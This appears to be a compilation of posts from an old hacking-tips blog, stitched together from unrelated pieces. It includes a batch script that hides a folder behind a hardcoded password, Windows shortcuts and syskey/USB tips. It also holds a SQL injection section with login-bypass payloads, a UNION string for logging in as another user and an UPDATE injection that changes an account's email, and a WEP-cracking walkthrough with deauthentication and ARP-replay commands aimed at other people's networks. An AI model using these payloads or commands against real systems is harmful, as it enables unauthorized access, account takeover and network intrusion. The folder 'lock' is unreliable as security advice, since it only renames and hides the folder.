LOCK A FOLDER WITHOUT ANY SOFTWARE

LOCK A FOLDER WITHOUT ANY SOFTWARE:
STEPS:

1. Open notepad and paste the following code in it.
2. Change the password in place of (qwerty)
3. Save the notepad as: Locker.bat
4. At first time start it will create folder with Locker automatically for u.
5. After creation of Locker folder again click on the Locker.bat
6. It will ask.press Y then Locker folder will be disappeared.
7. Again to get it click on locker.bat. and give ur password u will get the folder again.

note: current password is qwerty

CODE:

cls
@color A
@echo off
if EXIST "Control Panel.{21EC2020- 3AEA-1069- A2DD-08002B30309 D}" goto

unlock
if NOT EXIST locker goto mdfolder

:confirm
echo Are you sure want to lock the locker(Y/N)
set/p "ch="
if %ch%==y goto lock
if %ch%==Y goto lock
if %ch%==n goto end
if %ch%==N goto end
echo invalid choice
goto confirm

:lock
ren locker "Control Panel.{21EC2020- 3AEA-1069- A2DD-08002B30309 D}"
attrib +s +h "Control Panel.{21EC2020- 3AEA-1069- A2DD-08002B30309 D}"
echo lock successfully
goto end

:unlock
echo Enter password for unlock
set/p "pass="
if NOT %pass%==qwerty goto fail
attrib -s -h "Control Panel.{21EC2020- 3AEA-1069- A2DD-08002B30309 D}"
ren "Control Panel.{21EC2020- 3AEA-1069- A2DD-08002B30309 D}" locker
echo Unlock successfully
goto end

:fail
echo Invalid Password
goto end

:mdfolder
md locker
echo Locker created successfully
goto end

:end
echo Locker generated by xtreme hackers
echo www.xtremehackers.blogspot.com
pause:
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SQL INJECTION

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database
layer of an application. The vulnerability is present when user input is either incorrectly filtered for
string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby
unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can occur
whenever one programming or scripting language is embedded inside another.

SELECT * FROM users WHERE name = ‘a’ OR ‘t’='t’;

x’;UPDATE members SET email = ‘steve@unixwiz.net’ WHERE email = ‘bob@example.com

Bypassing Login Screens (SMO+)
SQL Injection 101, Login tricks

* admin’ –
* admin’ #
* admin’/*
* ‘ or 1=1–
* ‘ or 1=1#
* ‘ or 1=1/*
* ‘) or ’1′=’1–
* ‘) or (’1′=’1–
* ….

* Login as different user (SM*)
‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–

*Old versions of MySQL doesn’t support union queries
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CRACK WIFI

Here is the detailed method for hacking a Wi-fi network......

Run the commands enlisted below in console mode of Linux Backtrack 4. (search in Google.. and u'll get the live CD for Backtrack 4 )

I tried to be as clear as possible.. at every command.. I tried to give brief explanation of the command itself.

You can try these steps to crack any Wireless network. It's strictly for Educational purpose.

------------------------------?-----------------------------
Finding the list of available Interfaces:
Iwconfig
------------------------------?----------------------------
Bring the card in monitor mode:
iwconfig mode monitor "Enable Monitor Mode"
OR
Bring the card in monitor mode using:
airmon-ng start
------------------------------?----------------------------
Scan for Access points and associated clients:
airodump-ng "GET BSSID, Channel, Station ID" first session
------------------------------?----------------------------
Capture packets to file:
airodump-ng --write --channel -b
------------------------------?----------------------------
Injection test:- check whether the card support injection or not:
aireplay-ng -9
------------------------------?----------------------------
Arp replay Attack:
aireplay-ng -3 -x 512 -b -h "ARP Attack"
------------------------------?----------------------------
Fake Association attack:
aireplay-ng -1 16 -a -c
------------------------------?----------------------------
Deauthentication Attack :
aireplay-ng -0 4 -a -h "Deauth Attack"
------------------------------?----------------------------
Crack WEP Key:
aircrack-ng -a 1 -b *.cap
------------------------------?--------------------------

You would require two essentials for cracking the wireless network:
1. Backtrack 4 Live CD
2. Wireless Network card

PLz dont try to hack any network with ur Laptop Wi-fi.. coz it sends huge number of packets to the network.. approx 35,000 packets ( to the network which we suppose to hack ). But if you wish to never use ur Laptop Wi-fi.. then it may actually a good solution for you.
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KEYBOARD TRICKS IN WINDOWS 7

[Windows] + [D]
Show or Hide the desktop

[Windows] + [Home]
Minimize all but selected window. Reverse by clicking the key combination again.

[Windows] + [Spacebar]
Make all open windows transparent to view gadgets and icons on desktop.

[Windows] + left arrow OR [Windows] + right arrow
Dock selected window to the left or right half of your screen.

[Windows] + up arrow OR [Windows] + down arrow
Maximized and restores the selected window.

[Windows] + [Tab]
Launch 3D representation of open windows and click [Tab] key again to flip through them.

[Windows] + [B]
Puts focus on the ‘show hidden icons’ button on the system tray.

[Windows] + [1] To [Windows] + [9]
Launch first through ninth icon on taskbar, including items pinned to taskbar.

[Windows] + [SHIFT] + [1] To [Windows] + [SHIFT] + [9]
Starts new instance of respective taskbar icon.

[Windows] + [Alt] + [1] To [Windows] + [Alt] + [9]
Opens jump list for respective icon.

[Windows] + [T] OR [Windows] + [SHIFT] + [T]
Move focus to front or back of taskbar.

[Alt] + [Ctrl] + [Tab] + left/right/up/down arrow
Flip window.

[Alt] + [Tab]
Cycle through open windows.

[Windows] + [P]
Select the Projector Mode

[Windows] + [+] OR [Windows] + [-]
Activates Windows Magnifier to zoom in or out of screen.

[Ctrl] + [Alt] + [D]
Switch to docked mode.

Ctrl] + [Alt] + [L]
Switch to lense mode.

[Ctrl] + [Alt] + [F]
Switch from docked or lens mode back to full screen mode.

[Ctrl] + [Alt] + [I]
Invert colors.

[Windows] + [Esc]
Exist magnifier views.

[Windows] + [G]
Cycle through desktop gadgets.

[Windows] + [X]
Launches Windows Mobility Center. Especially useful if you’re working on a laptop.
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LOCK/UNLOCK COMPUTER WITH PENDRIVE

Just follow the steps as given below :- 
Insert your USB drive into your system and wait for it to be recognized..

STEP1:-Go to Start >
Control Panel >
Administrative Tools >
Computer Management >
Disk Management >
Or
You can go directly by typing the command in run: diskmgmt.msc

 Then right-click the partition whose name you want to change (click in the white area just below the word “Volume”) and select “change drive letter and paths.”

From here you can re-assign the drive letter it was given to “A”
NOTE:Drive letter of pendrive must be "A"

STEP2:- Start->Run->syskey

click on "ok"

Syskey launched: Click “Update”

Choose “Store Startup key on floppy disk” and click “OK”

You’ll be prompted to enter your diskette. Make sure your USB drive is inserted and writable.
Restart and have fun. Don’t lose your USB disk! Also, to revert this, you can run syskey again and choose to store it locally instead of “on a floppy disk”.

....................................................................................................

OPEN CMD WITH RIGHT CLICK.

Just hold down the Shift key and right-click on the desktop…

And then you can choose “Open Command Window Here” from the menu. The great thing about this is that the current path is the desktop, which is convenient for manipulating files on the desktop.

Of course you can always right-click on any folder icon in the system while holding down the shift key:
...................................................................................................

HOW TO CHANGE DRIVE LETTER.

To change drive letters ...
Just follow the steps as given below :- 
Go to Start >
Control Panel >
Administrative Tools >
Computer Management >
Disk Management >
Or
You can go directly by typing the command in run: diskmgmt.msc
Then right-click the partition whose name you want to change (click in the white area just below the word “Volume”) and select “change drive letter and paths.” From here you can add, remove or change drive letters and paths to the partition.
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